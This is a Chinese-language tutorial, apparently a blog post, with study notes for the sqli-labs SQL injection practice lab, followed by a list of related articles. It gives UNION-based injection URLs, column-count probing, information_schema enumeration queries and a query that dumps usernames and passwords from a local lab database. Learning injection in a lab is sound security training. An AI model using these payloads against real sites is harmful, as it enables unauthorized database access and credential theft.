1)、前期准备、知识点

开始之前,为了方便查看sql注入语句,我在sqli-labs-master网页源码php部分加了两行代码,第一行意思是输出数据库语句,第二行是换行符

一、Mysql 登录

1、明文密码   在bin目录下 输入:mysql -u 账户 -p 密码

2、**密码  在bin目录下 输入:mysql -u 账户 -p 后回车再输入密码

二、注释符

--+  --  # 都是SQL语句的注释符 ,sql语句运行到此结束。

三、and or

  A and B A,B都Ture 结果才为Ture

  A or B A,B 有一个Ture 结果就为Ture

四、limit

limit m,n :显示从m列开始 显示n行

五、 ?id=1  后加   '

可以判断存在SQL漏洞,

例如:http://localhost/sqli-labs-master/Less-1/?id= 1'or 1=1 --+

sql语句:SELECT * FROM users WHERE id=' 1'or 1=1 -- ' LIMIT 0,1

六、order by

order by + n  : 查询结果根据第n列排序

order by 可判断数据表 列数

在尝试是N值折半测试

例:http://localhost/sqli-labs-master/Less-1/?id=1'order by 3 --+

SELECT * FROM users WHERE id='1'order by 3 -- ' LIMIT 0,1

七、union 联合查询

在使用 order by 测试出列数后,使用 union + 数字  查看回显信息,测试回显的哪几列,

错误示例:http://localhost/sqli-labs-master/Less-1/?id=1'union select 1,2,3--+

如图,在id值正确时 由于limit 0,1只能显示一行,回显结果无法做出正确判断

正确示例:http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,2,3--+

如图,将id值设置为-1(即不存在值),结果回显为第2、3列

八、利用union 回显位置进行数据库查询

例:http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,2,user()--+ 

在回显位置 显示用户(select user()

九、' 部分 特殊字符部分转化为十六进制

注:在SQL注入时  如需 ' ' 单引号括住内容  尽量转化为16进制(0x+内容的十六进制)

方式如下:

十、暴库SQL语句

查库:select schema_name from information_schema.schemata

查表:select table_name from information_schema.tables where table_schema='库名'

查列:select column_name from information_schema.columns where table_name='表名'

查字段:select 列1,列2,列3 from 库名.表名

注:引号包裹部分 整体使用十六进制代替 如  table_schema='security'  ->  table_schema=0x7365637572697479

十一、SQL常用函数

查询函数

1.version()   --Mysql版本

2.user()  --数据库用户名

3.database()  --数据库名

4.@@datadir  --数据库安装路径

5.@@version_compile_os  --操作系统的版本

字符串连接函数:

1.concat(字符串1,字符串2)   --没有分隔符的连接字符串

2.concat_ws(-/~,字符串1,字符串2)  --含有分隔符的连接字符串

3.group_concat(字符串1,字符串2)    --连接一个组的所有字符串,并用,分隔每一个字符。

例:select 1,2,group_concat(concat_ws(0x2d2d,id,username,password)) from security.users

使用及区别详情见:https://baijiahao.baidu.com/s?id=1595349117525189591&wfr=spider&for=pc

sqli-labs-master 闯关前知识点学习的更多相关文章

  1. sqli-labs-master less05 前 知识点学习

    1. left()函数: left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0 例: select left(database(),1)='s'   结果返回1 先查询数据库 datab ...

  2. sql-lib闯关1-10关

    闯关之前我们需要搭建所需环境SQLi-Labs SQLi-Labs是一个专业的SQL注入练习平台,该平台包含了以下在测试场景中常见的注入类型: 1.报错注入(联合查询) ​     1)字符型 ​   ...

  3. CTFhub-WEB前置-http协议闯关

    前情提要: 在渗透学习过程中,web的基础知识很重要,在这里通过long long ago之前学习的http基础,并结合网上的CTFhub--WEB前置之http协议闯关,对web基础知识进行加固并查 ...

  4. 网页闯关游戏(riddle webgame)--H5刮刮卡的原理和实践

    前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. 对于刮刮卡, 想必大家都很熟悉, 也很喜 ...

  5. 《JavaScript 闯关记》

    为何写作此课程 stone 主要负责基于 Web 的企业内部管理系统的开发,虽然能够熟练地使用 JavaScript,但随着对 JavaScript 的理解越来越深,才发现自己尚未掌握其精髓. 201 ...

  6. 《JavaScript闯关记》视频版硬广

    <JavaScript闯关记>视频版硬广 stone 在菜航工作时,兼任内部培训讲师,主要负责 JavaScript 基础培训,2016年整理的<JavaScript闯关记>课 ...

  7. 某xss挑战赛闯关笔记

    0x0 前言 在sec-news发现先知上师傅monika发了一个xss挑战赛的闯关wp([巨人肩膀上的矮子]XSS挑战之旅---游戏通关攻略(更新至18关)https://xianzhi.aliyu ...

  8. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  9. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

随机推荐

  1. STM32移植FreeRTOS(1)

    "STM32F103VET6<_>FreeRTOS" 1.项目功能实现 1)LED灯定时闪烁 2)KEY按键检测 3)FreeRTOS任务创建 4)串口输出程序运行状态 ...

  2. 万亿级KV存储架构与实践

    一.KV 存储发展历程 我们第一代的分布式 KV 存储如下图左侧的架构所示,相信很多公司都经历过这个阶段.在客户端内做一致性哈希,在后端部署很多的 Memcached 实例,这样就实现了最基本的 KV ...

  3. Java入门(5)

    阅读书目:Java入门经典(第7版) 作者:罗格斯·卡登海德 protected变量只能在其所在的类,该类的子类,以及同一个包里的其他类中使用.包是一组用于完成相同目标的相关类. private变量只 ...

  4. 力扣 - 剑指Offer 35.复杂链表的复制

    目录 题目 思路1 代码实现 思路2 代码实现 题目 请实现 copyRandomList 函数,复制一个复杂链表.在复杂链表中,每个节点除了有一个 next 指针指向下一个节点,还有一个 rando ...

  5. 详解Git

    版本控制 基本概念 版本控制是一个非常简单的概念,我举个例子简单说明一下你就能大概明白它是一个什么东西,当你不会版本控制的时候: 你的BOSS决定做一款灰常牛逼的软件,找你进行开发 当你做好之后,老板 ...

  6. axios网络封装模块

    功能特点 在浏览器中发送XMLHttpRequests请求 在node.js总发送http请求 支持Promise API 拦截请求和相应 转换请求和响应数据 axios请求方式 支持多种请求方式 a ...

  7. layui下拉框后台动态赋值

    前台页面: <select name="xm" id="xm" lay-verify="required" lay-filter=&q ...

  8. sk_buff结构--转载

    套接字缓存之sk_buff结构 https://www.cnblogs.com/wanpengcoder/p/7529486.html 来此此处 sk_buff结构用来描述已接收或者待发送的数据报文信 ...

  9. ceph luminous版本限制osd的内存使用

    引言 ceph自从到了L版本以后,L版本的启用,对性能本身有了极大的提高,一直对这个比较不放心的就是内存的占用,刚开始的时候记得大量dd就可以把内存搞崩掉,这个应该是内部的设计逻辑需要更多的内存的占用 ...

  10. python之对元组的初步了解

    元组: 元组与列表类似但是又有不同,主要的不同就是元组属于不可变序列,一旦创建,任何方法都不可以修改元素. 元组使用小括号( )表示,这与列表不一样,列表是用方括号表示[ ]. a=('a','b') ...